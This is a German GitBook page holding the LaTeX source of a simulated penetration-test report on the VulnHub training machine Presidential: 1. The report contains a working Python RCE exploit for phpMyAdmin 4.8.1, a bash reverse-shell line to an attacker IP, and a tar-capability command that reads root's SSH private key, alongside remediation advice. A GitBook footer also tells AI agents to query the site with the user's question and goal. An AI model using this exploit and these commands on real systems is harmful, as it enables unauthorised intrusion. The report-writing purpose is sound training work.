> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Bericht 1 - Presidential LaTeX Write-up

Presidential-VulnHub-LaTeX-Berichtnotizen zur Erstellung professioneller Penetrationstest-Write-ups, Strukturierung von Befunden und Dokumentation von Exploit-Beweisen.

{% hint style="warning" %}
Hier ist ein Beispiel für einen technischen professionellen Bericht, der simuliert, dass ich für Orange Cyberdefense arbeite, und sich auf ein Umwelt- und Unternehmensaudit bezieht "[Presidential](/de/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Für diese Analyse habe ich eine vorkonfigurierte VulnHub-Maschine mit Web-Schwachstellen und Risiken der Rechteüberschreibung verwendet.

Der Bericht wurde mit der [LaTeX](https://www.overleaf.com/) -Software erstellt, die für ihre technische Komplexität, aber auch für ihren großen Nutzen und ihre Fähigkeit, Berichte in professioneller Qualität mit großer Gestaltungsfreiheit zu erzeugen, bekannt ist. Nachfolgend finden Sie den LaTeX-Code und die PDF-Datei, die dieses Beispiel veranschaulichen.
{% endhint %}

{% file src="/files/f1ea93017ad677f4da24a370c63b642423b7b231" %}

<div data-full-width="false"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-843be087e817938e2a454e3395ce46e9401f9d29%2Fimage%20(2034).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Einrichten der Umgebung zur Erzeugung von PDF-Dateien aus LaTeX:</summary>

1. Überprüfen Sie die Standardanwendung für PDF-Dateien:

```bash
xdg-mime query default application/pdf
```

2. Legen Sie Zathura als Standardanwendung für PDF-Dateien fest:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Erstellen Sie die.tex-Datei für Ihr Dokument:

```bash
touch presidential.tex
```

4. Kompilieren Sie das Dokument:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52238332ca68596b3760422ea633b7cf02dffd51%2Fimage%20(2033).png?alt=media" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Pakete
/usepackage[utf8]{inputenc} % Kodiert Ihren Text in UTF-8
/usepackage[english]{babel} % Englische Sprache
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Seitenlayout
/usepackage{graphicx} % Zum Einbinden von Bildern
/usepackage[table,xcdraw]{xcolor} % Farben
/usepackage{tikz,lipsum,lmodern} % Zeichnungen
/usepackage[most]{tcolorbox} % Benutzerdefinierte Boxen
/usepackage{fancyhdr} % Kopf- und Fußzeilen
/usepackage[hidelinks]{hyperref} % Hyperlinks
/usepackage{setspace} % Zeilenabstand
/usepackage{listings} % Anzeige des Quellcodes
/setstretch{1.2} % Zeilenabstand
/usepackage{parskip} % Absatzabstand
/setlength{/parindent}{0pt} % Kein Absatz-Einzug
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Absatzabstand
/setlength{/parfillskip}{/parindent plus 1fill} % Textausrichtung
/usepackage[figurename=Figure]{caption} % Bildbeschriftung
/usepackage{ragged2e} % Textausrichtung

% Variablen
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21. Februar 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Farben
/definecolor{bluePortada}{HTML}{146c8a}

% Anpassung des Titels
/addto/captionsenglish{/renewcommand{/contentsname}{Inhaltsverzeichnis}}

% Kopf- und Fußzeilen
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Firmenlogo links in der Kopfzeile
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Plattformlogo rechts in der Kopfzeile
/renewcommand{/headrulewidth}{3pt} % Breite der Kopfzeile
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Farbe der Kopfzeile

% Konfiguration der Quellcode-Beschriftungen
/renewcommand{/lstlistingname}{Code}

% Quellcode-Stile
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definition,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Kommentarfarbe
    keywordstyle=/color{magenta}, % Schlüsselwortfarbe
    numberstyle=/tiny/color{codegray}, % Zeilennummern-Stil
    stringstyle=/color{codepurple}, % Zeichenfolgenfarbe
    basicstyle=/ttfamily/footnotesize, % Grundschriftstil
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Globale Konfiguration des Code-Stils

% Dokumentbeginn
/begin{document}
/cfoot{/thepage} % Fußzeile mit Seitenzahl
  /begin{titlepage} % Titelseite
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logo der Titelseite
{/scshape/LARGE /textbf{Technischer Bericht}/par/vspace{0.4cm}} % Berichtstitel
{/Huge/textcolor{bluePortada}{/textbf{Machine /machineName}}} % Name der Maschine
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Maschinenbild
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Vertraulichkeitsbox
    /centering
Dieses Dokument ist vertraulich und enthält sensible Informationen. // Es sollte nicht ausgedruckt oder an Dritte weitergegeben werden.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Berichtsdatum
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Beginn des Inhaltsverzeichnisses
/clearpage
/tableofcontents % Inhaltsverzeichnis
/clearpage

/section{Hintergrund}
Dieses Dokument präsentiert die während der Audit-Phase auf der Maschine /textbf{/machineName} erzielten Ergebnisse und listet alle gefundenen Angriffsvektoren sowie die für jeden von ihnen durchgeführte Ausnutzung auf.

Diese Maschine wurde von der Plattform /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}} heruntergeladen, einer Trainings- und Übungsplattform für Menschen, die sich für Computersicherheit und ethisches Hacking interessieren. Nachfolgend ist der Download-Link dieser Maschine angegeben:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Ziel-URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Startseite des Webdienstes der Maschine}
/end{figure}
/vspace{1cm}
/section {Ziele}
Die Ziele dieses Sicherheitsaudits bestehen darin, mögliche Schwachstellen und Schwächen auf der Maschine /textbf{/color{bluePortada}/machineName} zu identifizieren, mit dem Ziel, die Integrität und Vertraulichkeit der dort gespeicherten Informationen zu gewährleisten.

Vor diesem Hintergrund wurde eine umfassende Analyse aller auf diesem Server erkannten exponierten Dienste durchgeführt, wobei detaillierte Informationen zu denjenigen gesammelt wurden, die aus sicherheitstechnischer Sicht ein potenzielles Risiko darstellen.
/clearpage

/subsection{Umfang}

Nachfolgend werden die mit diesem Audit zu erreichenden Ziele vorgestellt:

/begin{itemize}
/item Schwachstellenanfällige Ports und Dienste identifizieren.
/item Identifizierte Schwachstellen ausnutzen.
/item Zugriff auf den Server durch Ausnutzung der identifizierten verwundbaren Dienste erlangen.
/item Mögliche Wege zur Rechteausweitung im System auflisten, sobald es kompromittiert wurde.
/end{itemize}

/subsection{Einschränkungen und Beschränkungen}

Während des Audit-Prozesses ist es strengstens untersagt, eine der folgenden Aktivitäten durchzuführen:

/begin{itemize}
/item Aufgaben ausführen, die zu einer /textbf{Denial of Service} führen oder die Verfügbarkeit exponierter Dienste beeinträchtigen können.
/item Auf dem Server vorhandene Dateien löschen, nachdem er kompromittiert wurde.
/end{itemize}

/subsection{Allgemeine Zusammenfassung}

Dieses Audit hat zahlreiche bedeutende Sicherheitslücken aufgedeckt, die die Integrität und Vertraulichkeit der auf dem Server gehosteten Informationen gefährden. Von der Offenlegung sensibler Sicherungsdateien bis zur Ausnutzung kritischer Schwachstellen in phpMyAdmin wurde festgestellt, dass der Server für verschiedene Angriffe anfällig ist.

Die Identifizierung von Subdomains, die Aufzählung exponierter Dienste und die Ausnutzung schwacher Authentifizierungs-Panels waren die wichtigsten Einstiegspunkte für die während dieses Audits durchgeführten Angriffe.

Es ist unerlässlich, sofort Maßnahmen zu ergreifen, um diese Schwachstellen zu beheben und Sicherheitsrisiken zu mindern. Es wird dringend empfohlen, phpMyAdmin auf die neueste Version zu aktualisieren und zusätzliche Sicherheitsmaßnahmen zu implementieren, wie z. B. den Zugriff auf sensible Dateien einzuschränken und geeignete Eingabefilter in exponierten Webanwendungen einzusetzen.

Zusammenfassend unterstreicht dieses Audit die Bedeutung einer proaktiven Systemsicherheitsstrategie, durch regelmäßige Audits, das Einspielen von Sicherheitspatches und die Befolgung bewährter Cybersicherheitspraktiken zum Schutz der digitalen Vermögenswerte eines Unternehmens.

/clearpage
/section{Aufklärung}
/subsection{Aufzählung exponierter Dienste}
Nachfolgend finden Sie den Nachweis der Ports und Dienste, die während der mit dem Tool /textbf{nmap} durchgeführten Aufklärung identifiziert wurden:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Portaufzählung mit nmap}
/end{figure}

/vspace{0.3cm}
In diesem Fall wurden zwei aktive Ports mithilfe des TCP-Protokolls identifiziert:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Port 80};
/node (port2) [below right of=center, node distance=3cm] {Port 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Ebenso wurden keine über andere Protokolle exponierten Ports gefunden, daher wird die Bewertung der im ersten Scan identifizierten Ports priorisiert.

/clearpage
/subsection{Aufzählung der Webserver}

Nachfolgend sind die mit dem Tool /textbf{WhatWeb} erzielten Ergebnisse aufgeführt, einem Web-Aufklärungstool zur Identifizierung spezifischer Webtechnologien, die auf einer Website verwendet werden, nach der Aufklärung des auf Port 80 laufenden HTTP-Dienstes.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Aufzählung des HTTP-Dienstes auf Port 80}
/end{figure}

Die erzielten Ergebnisse ermöglichen es, die Versionen einiger der vorhandenen Technologien zu identifizieren:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Technologie} & /textbf{Version} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Unter den bereitgestellten Informationen lassen sich außerdem 2 E-Mail-Adressen identifizieren, die für /textbf{Phishing}-Angriffe verwendet werden könnten:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{Phishing} ist eine Art von Computerangriff, bei dem versucht wird, Personen zu täuschen, um vertrauliche Informationen wie Passwörter, Bankdaten oder Kreditkartendaten zu erlangen. Der Angriff erfolgt durch das Senden betrügerischer E-Mails oder Textnachrichten, die legitim erscheinen und den Empfänger auffordern, persönliche und vertrauliche Informationen preiszugeben.

Darüber hinaus konnte dank einer umfassenden Untersuchung des Webdienstes mit dem Tool /textbf{wig} auch die aktive Version von /textbf{Centos} identifiziert werden.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Aufzählung des HTTP-Dienstes auf Port 80}
/end{figure}
/clearpage

/subsection{Aufzählung von Subdomains}
Nachdem die Domain '/textbf{votenow.local}' über die E-Mails identifiziert worden war, wurde ein Brute-Force-Angriff auf die Hauptdomain durchgeführt, um gültige Subdomains zu identifizieren.

Nach Abschluss des Brute-Force-Angriffs wurden folgende Ergebnisse erzielt:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Mit Gobuster identifizierte Subdomains}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Die Subdomain '/textbf{datasafe.votenow.local}' wurde als gültige Subdomain identifiziert. Diese Subdomain spielte eine entscheidende Rolle im Audit, da über sie der Zugriff auf das System durch die Ausnutzung einer in /textbf{phpMyAdmin} vorhandenen Schwachstelle erlangt wurde.

Bitte beachten Sie, dass diese Domains und Subdomains nur zugänglich waren, nachdem der Datei '/textbf{/etc/hosts}' der folgende Inhalt hinzugefügt wurde:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Inhalt der Datei /etc/hosts}
/end{figure}
/vspace{0.3cm}
Dies ist auf die Anwendung von '/textbf{virtual hosting}' zurückzuführen, einer Technik, die auf Webservern verwendet wird, um mehrere Websites auf einem einzigen physischen Rechner zu hosten. Die Datei '/textbf{/etc/hosts}' wird verwendet, um den Domainnamen jeder Website mit der IP-Adresse des Servers zu verknüpfen.

Ohne diese Zuordnung kann der Webserver die korrekte Website nicht bestimmen, was zu einem Fehler oder zur Anzeige einer falschen Website führt.
/clearpage
/subsection{Aufzählung von Authentifizierungs-Panels}
Nachdem die Subdomain '/textbf{datasafe.votenow.local}' entdeckt wurde, wie in der Abbildung /ref{fig:identifiedSubdomains} auf Seite /pageref{fig:identifiedSubdomains} zu sehen ist, wurde das folgende Authentifizierungs-Panel von /textbf{phpMyAdmin} gefunden:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{phpMyAdmin-Authentifizierungs-Panel}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identifizierung und Ausnutzung von Schwachstellen}
/subsection{Offenlegung einer Sicherungsdatei}

Während einer Aufklärungsphase mit dem Tool /textbf{gobuster}, einem Open-Source-Kommandozeilenwerkzeug zum Suchen und Aufzählen von Webressourcen auf Servern und Websites, wurde auf dem Server eine offengelegte Sicherungsdatei identifiziert:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Auf dem Server offengelegte Sicherungsdatei}
/end{figure}

/clearpage

Diese Datei wurde hochgeladen, um zu überprüfen, ob sie sensible Informationen enthält, die ein Sicherheitsrisiko darstellen könnten. An diesem Punkt wurde festgestellt, dass die Datei die folgenden privilegierten Informationen enthielt:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Inhalt der Backup-Datei mit Zugangsdaten}
/end{figure}

Diese Kennungen entsprechen den Datenbank-Zugriffskennungen, die es aufgrund der Wiederverwendung von Benutzername und Passwort ermöglichten, auf /textbf{phpMyAdmin} zuzugreifen, wie in der Abbildung /ref{fig:phpMyAdmin} auf der Seite /pageref{fig:phpMyAdmin} dargestellt.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Verbindung zur phpMyAdmin-Steueroberfläche}
/end{figure}

/clearpage
/subsection{Ausnutzung von phpMyAdmin}
Nach der Anmeldung bei /textbf{phpMyAdmin} war es möglich, die aktuell verwendete Version zu identifizieren:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Verwendete Version von phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Diese Version entspricht einer /textbf{alten Version} von phpMyAdmin und legt damit mehrere identifizierte /textbf{kritische Schwachstellen} offen:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Schwachstellen der verwendeten phpMyAdmin-Version}
/end{figure}


/clearpage
Eine davon kann es einem böswilligen Angreifer ermöglichen, auf dem Server /textbf{Code aus der Ferne auszuführen}.

Im Folgenden ist das Python-3-Skript aufgeführt, das verwendet wurde, um entfernte Befehle auf dem Server auszuführen:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit für die verwundbare phpMyAdmin-Version]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Nachdem die Ausführung und das Einschleusen eines Befehls, der den Zugriff auf das System ermöglicht, durchgeführt wurden, wurde Zugriff auf den Server erlangt:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Zugriff auf den Server durch Ausnutzung von phpMyAdmin}
/end{figure}

In diesem Fall wird ein Befehl über '/textbf{curl}' ausgeführt, der ein Bash-Skript interpretiert, das den folgenden Inhalt hat:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Bash-Skript zur Herstellung der Verbindung]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Dieses Skript wird auf dem Server des Angreifers gehostet, wodurch vermieden wird, dass auf dem Zielserver Restdateien zurückbleiben. Sobald der Befehl ausgeführt wird, erlangt der Angreifer Zugriff auf den Server und hat in diesem Fall als Benutzer '/textbf{apache}' die Kontrolle über die Maschine.

Wie im Skript zu sehen ist, nutzt das Skript im Wesentlichen eine in dieser Version von phpMyAdmin vorhandene /textbf{LFI}-Schwachstelle aus, um Befehle aus der Ferne auszuführen:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Codeausschnitt im Zusammenhang mit der LFI-Ausnutzung]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) ist eine Sicherheitslücke in Webanwendungen, die es einem Angreifer ermöglicht, auf lokale Dateien auf dem Server zuzugreifen, indem lokale Dateien in eine Webseite eingebunden werden.
/end{definicion}
/clearpage

Durch das LFI erhalten wir Informationen über eine PHP-Ressource, die Sitzungen speichert und Informationen zu den verschiedenen aktiven Sitzungen auf der Benutzerseite repräsentiert.

Durch die Ausnutzung dieses Auslesens und der eigenen Benutzersitzung verwenden wir eine /textbf{SQL-Abfrage}, um eine Abfrage mit PHP-Code einzufügen, die über die Sitzungsdateien des Benutzers mittels LFI sichtbar ist. Dies führt daher zur Ausführung entfernter Befehle, da der PHP-Code vom Server nicht interpretiert wird.

/section{Rechteausweitung}
Sobald das gesamte System kompromittiert ist, besteht das Hauptziel nun darin, die höchstmöglichen Privilegien auf dem Server zu erlangen. Mit dem Ziel, unsere Berechtigungen zu erweitern und eine größere Kontrolle sowie Zugriff auf alle exponierten Dienste zu erhalten.
/subsection{Migration zum Administrator-Benutzer}
Auf dem Server gibt es einen Administrator-Benutzer, der gut konfiguriert zu sein scheint, da wir vom Benutzer apache aus /textbf{eingeschränkten Zugriff} haben.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Zugriff auf das Home-Verzeichnis des Admins verweigert}
/end{figure}

Allerdings erscheint in der zuvor kompromittierten Datenbank ein gehashtes Passwort mit demselben Benutzernamen wie dieser Benutzer. Die Wiederverwendung von Passwörtern für einen Benutzer ist kritisch und würde in diesem Fall zu einer direkten Migration des Benutzers führen.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Gehashtes Passwort in der Datenbank des Admin-Benutzers gespeichert}
/end{figure}
/clearpage
/subsection{Knacken des offengelegten gehashten Passworts des Benutzers admin}
Da das Passwort gehasht ist, verwenden wir das Tool '/textbf{john}', um den Hash des Admin-Passworts zu knacken, es zu entschlüsseln und im Klartext anzuzeigen. In diesem Fall wurde ein Wörterbuch mit mehr als zehn Millionen verschiedenen Kombinationen verwendet, und da das Passwort nicht sehr komplex ist, brauchte das Tool nur wenige Minuten, um es zu knacken und offenzulegen.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Entschlüsseltes Klartextpasswort des Benutzers admin}
/end{figure}
/vspace{0.3cm}
/newline Die Migration zum Admin-Benutzer war aufgrund der /textbf{Wiederverwendung desselben Passworts} für den Admin-Benutzer sowohl in der Datenbank als auch beim Systembenutzer möglich. Dies ist eine schlechte Praxis, und es wird empfohlen, für jeden einzelnen Dienst ein anderes Passwort zu verwenden, um kritische Probleme wie in diesem Fall zu vermeiden.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Zugriff auf das Verzeichnis des privilegierten Benutzers admin}
/end{figure}
/clearpage
/subsection{Schwachstelle in Berechtigungsfähigkeiten, die den SSH-Schlüssel offenlegt}
/vspace{0.3cm}
/begin{definicion}
Capabilities in Linux sind ein Sicherheitsmechanismus, der Programmen bestimmte Privilegien gewährt und eingeschränkte Operationen ermöglicht, ohne vollständigen Root-Zugriff gewähren zu müssen.
/end{definicion}
In diesem Fall wurde eine Capability-Berechtigung gefunden, die es mit dem Tool tarS erlaubte, alle Dateien auf dem System ohne Regeln oder Blockierung anzuzeigen, da sie vom Root-Benutzer ausgeführt wurden. Durch Ausnutzung dieser Berechtigung wurde der /textbf{private SSH-Schlüssel} des Root-Benutzers mit dem folgenden Befehl aufgelistet:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Privater SSH-Schlüssel des Root-Benutzers}
/end{figure}
/subsection{System-Root-Zugriff}
Schließlich wurde Zugriff auf die Maschine mit Root-Rechten erlangt. Es besteht dringender Handlungsbedarf, die Capability für das Tool tarS zu entfernen und eine Alternative zu finden, die diese Rechteausweitung nicht ermöglicht.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Erlangen der Root-Benutzer-Flag}
/end{figure}
/clearpage
/section{Gegenmaßnahmen und Best Practices}

Um eine mögliche unerwünschte Ausnutzung des exponierten Servers zu vermeiden, sind nachfolgend die Best Practices aufgeführt, die für die verschiedenen entdeckten Schwachstellen zu beachten sind.

/subsection{Schwachstelle von phpMyAdmin 4.8.1}
phpMyAdmin ist ein beliebtes Tool zur Verwaltung von MySQL-Datenbanken über eine Weboberfläche. Version 4.8.1 von phpMyAdmin weist jedoch bekannte Schwachstellen auf, die es einem Angreifer ermöglichen können, beliebigen Code auf dem Webserver auszuführen, auf dem es gehostet wird.

Um diese Schwachstelle zu beheben, ist es notwendig, /textbf{aktualisieren} auf die neueste Version von phpMyAdmin (derzeit Version 5.2.1). Wenn es aus irgendeinem Grund nicht möglich ist, auf die neueste Version zu aktualisieren, können Sie einige Maßnahmen ergreifen, um das Ausnutzungsrisiko zu mindern:
/begin{itemize}
/item Korrigieren Sie den Code des Skripts '/textbf{index.php}', sodass die vom Benutzer übergebene Variable '/textbf{target}' korrekt geprüft wird.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Verwundbarer Zielparameter}
/end{figure}

/begin{itemize}
/item Anstatt dem Benutzer zu erlauben, irgendeine Datei zum Einbinden anzugeben, definieren Sie eine Liste erlaubter Dateien und überprüfen Sie, dass der an den '/textbf{target}'-Parameter übergebene Wert in der Liste enthalten ist, bevor Sie die Datei einbinden.
/end{itemize}

/subsection{Rechteausweitung durch Capabilities}
Zunächst sollten Sie die Fähigkeit des tarS-Tools entfernen. Um zu prüfen und zu beheben, ob ein Dienst oder ein Tool für diese Rechteausweitung anfällig ist, können Sie die folgende Website besuchen, die eine Suchmaschine mit allen möglichen Schwachstellen zu diesem Thema enthält:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Ziel-URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Schlussfolgerungen}
Das auf der Maschine /textbf{Presidential: 1} durchgeführte Sicherheitsaudit deckte eine Reihe kritischer Schwachstellen auf, die die Integrität und Vertraulichkeit der auf dem Server gehosteten Informationen gefährden. Von der Offenlegung sensibler Dateien bis zur Ausnutzung von Schwachstellen in phpMyAdmin wurde die Bedeutung hervorgehoben, alle Systemkomponenten auf dem neuesten Stand zu halten und gute Sicherheitspraktiken zu befolgen.

Die erfolgreiche Ausnutzung der Schwachstelle in phpMyAdmin ermöglichte es Angreifern, auf den Server zuzugreifen und ihre Rechte auf den Administratorbenutzer auszuweiten, wodurch das gesamte System kompromittiert wurde. Dies unterstreicht die Bedeutung der Umsetzung proaktiver Sicherheitsmaßnahmen wie regelmäßiger Softwareaktualisierungen, ordnungsgemäßem Passwortmanagement und kontinuierlicher Serverüberwachung.

Zum Schutz vor zukünftigen Angriffen wird dringend empfohlen, die zuvor genannten Gegenmaßnahmen umzusetzen und die bewährten Praktiken der Cybersicherheit zu befolgen. Sicherheit muss ein ständiges und vorrangiges Anliegen sein, um den Schutz digitaler Vermögenswerte und die Geschäftskontinuität zu gewährleisten.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
